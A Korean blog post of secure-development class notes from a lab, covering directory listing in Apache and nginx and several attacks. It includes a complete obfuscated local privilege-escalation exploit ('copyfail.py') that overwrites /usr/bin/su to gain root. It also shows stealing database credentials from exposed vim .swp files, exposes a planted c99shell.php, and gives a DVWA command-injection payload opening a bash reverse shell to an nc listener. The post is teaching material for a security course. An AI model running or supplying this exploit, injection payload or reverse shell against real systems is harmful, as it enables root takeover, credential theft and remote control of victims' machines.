카테고리 없음

SW 개발보안 11일차 - .swap 스니핑

ajh 2026. 5. 22. 11:45

디렉터리 리스팅 비활성화 하기
웹서버
  . apache

    - 무료 웹서버
    - RHEL 계열: httpd
    - Debian 계열: apache2
  . nginx 
    - 상용, 무료 웹서버

1. mywebsite
http://192.168.100.10/data/
Index of /data
[ICO] Name Last modified Size Description
[PARENTDIR] Parent Directory   -  
[TXT] c99shell.php 2026-05-14 15:26 159K  

[root@victim ~]# cd /etc/httpd/conf

[root@victim conf]# vi httpd.conf

 

디렉터리 인덱싱(리스팅)
  . 디렉터리의 리스트를 보여주는 기능이다.
  . tomcat에 기본적으로 활성화 되어있다.
  . 디렉터리 리스팅 활성화
    - Options Indexes 가 있다.
    <Directory "디렉터리">
        Options Indexes FollowSymLinks
      ...
    </Directory>

  . 디렉터리 리스팅 비활성화
    - Options Indexes 가 없다.  
    <Directory "디렉터리">
        Options FollowSymLinks
      ...
    </Directory>
 

[root@victim ~]# cd /etc/httpd/conf
[root@victim conf]# vi httpd.conf

<Directory "/var/www/html">
    #Options Indexes FollowSymLinks

    #Options -Indexes +FollowSymLinks  <= -Indexes: 비활성화 +FollowSymLinks: 활성화
    Options FollowSymLinks <= 끄기 
    AllowOverride None
    Require all granted
</Directory>

 

디렉터리 인덱싱 자체는 취약점이 아니다 

하지만 조건에 따라 보여지지 않아야 하지만 보여질때는 취약점이 된다


nginx 

파일과 디렉터리
  . /usr/share/nginx/html
    - 웹페이지를 제공하는 웹 루트디렉터리(DocumentRoot) 이다.
  . nginx의 설정 디렉터리
    - /etc/nginx
    - 기본 설정 파일은 /etc/nginx/conf.d/default.conf 이다.

nginx 는 Docker로 설치하면 Directory 리스팅이 기본값이 꺼져있다.

 

[root@victim ~]# docker run -d --name nginx-web --restart=always -p 9000:80 --hostname nginx nginx

http://192.168.100.10:9000/

 

[root@target conf]# docker exec -it nginx-web bash

 

root@nginx:/# cat /etc/nginx/conf.d/default.conf
server {
    listen       80;
    listen  [::]:80;
    server_name  localhost;

    #access_log  /var/log/nginx/host.access.log  main;

    location / {
        root   /usr/share/nginx/html;  <= root 디렉토리
        index  index.html index.htm;
    }

    #error_page  404              /404.html;

    # redirect server error pages to the static page /50x.html
    #
    error_page   500 502 503 504  /50x.html;
    location = /50x.html {
        root   /usr/share/nginx/html;
    }
... ...

 

root@nginx:/usr/share/nginx/html# mkdir data
root@nginx:/usr/share/nginx/html# cp /bin/a* data/
root@nginx:/usr/share/nginx/html# ls data/

403 Forbidden <= 디렉터리 인덱싱 off

 

설정을 변경하기 위한 vim 설치 

root@nginx:/usr/share/nginx/html# apt update
root@nginx:/usr/share/nginx/html# apt -y install vim

 

root@nginx:/usr/share/nginx/html# vi /etc/nginx/conf.d/default.conf

... ...

    location / {
        root   /usr/share/nginx/html;
        index  index.html index.htm;
        autoindex on;.  <= 디렉터리 인덱싱 on
    }

... ...

root@nginx:/# nginx -t <= 정상 작동하는지 확인 
root@nginx:/# nginx -s reload  <= 재시작 


리눅스 copyfail 취약점

[root@docker ~]# dnf -y install epel-release
[root@docker ~]# dnf -y install python3.13

[root@docker ~]# useradd user1
[root@docker ~]# passwd user1

 

[user1@docker ~]$ vi copyfail.py
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

[user1@docker ~]$ chmod 755 copyfail.py
[root@docker user1]# id
uid=0(root) gid=1001(user1) groups=1001(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


DB 아이디/비밀번호 탈취

DB 덤프 파일을 웹사이트에 올려놓으면 공격자에 의해서 다운로드 받을 수 있다.
파일명이 있다는 것은 모르지만 게싱어택이나 부르투포스 어택으로 위협이 될 수 있다.

 

관리자가 vi 에디터를 사용해 소스코드를 수정하고 있을 때 vi는 .swap 파일을 생성한다.

공격자는 이 .swap파일을 링크를 통해 접근할 수 있다.

단 관리자가 vim 에디터를 실행하고 있는 상황에서만 가능하다.

정확한 파일명을 몰라도 게싱이나 무작위 대입공격등으로 .swap파일에 접근을 한다.

형식 

.(소스 파일명).(소스형식).swap 

 

http://192.168.100.10/mywebsite.sql

 

http://192.168.100.10/.index.html.swp

 

http://192.168.100.10/.login.html.swp
소스보기 
<form name=login method=post action=loginok.php onSubmit="return loginCheck()">

 

http://192.168.100.10/.loginok.php.swp
소스보기 
include "dbconnect.php";

 

http://192.168.100.10/.dbconnect.php.swp
$DBHOST, $DBUSER, $DBPASS, $DBNAME) or die("DBMS 접속 실패!!!");$TBNAME = (isset($id)) ? $id : "";//$TBNAME = (isset($_GET['id'])) ? $_GET['id'] : "";$DBNAME = "mywebsite";$DBPASS = "1234";$DBUSER = "root";$DBHOST = "localhost"; */ * 작성자: 리눅스마스터넷 * 프로그램 설명: DB 접속 정보를 저장한 파일 * 파일명: dbconnect.php/*


CopyFail 취약점 점검

[root@docker ~]# docker exec -it webboan-dvwa bash
root@webboan-dvwa:/# cd
root@webboan-dvwa:~# cp /etc/apt/sources.list .
root@webboan-dvwa:~# cat > /etc/apt/sources.list << 'EOF'
deb http://archive.debian.org/debian stretch main contrib non-free
deb http://archive.debian.org/debian-security stretch/updates main contrib non-free
EOF

 

apt-get -o Acquire::Check-Valid-Until=false \
--allow-unauthenticated \
install -y python3


root@webboan-dvwa:/# apt-get  update

root@kali:~# nc -lvnp 443

 

[DVWA] : 127.0.0.1; bash -c 'bash -i >& /dev/tcp/192.168.100.3/443 0>&1'

root@kali:~# nc -lvp 443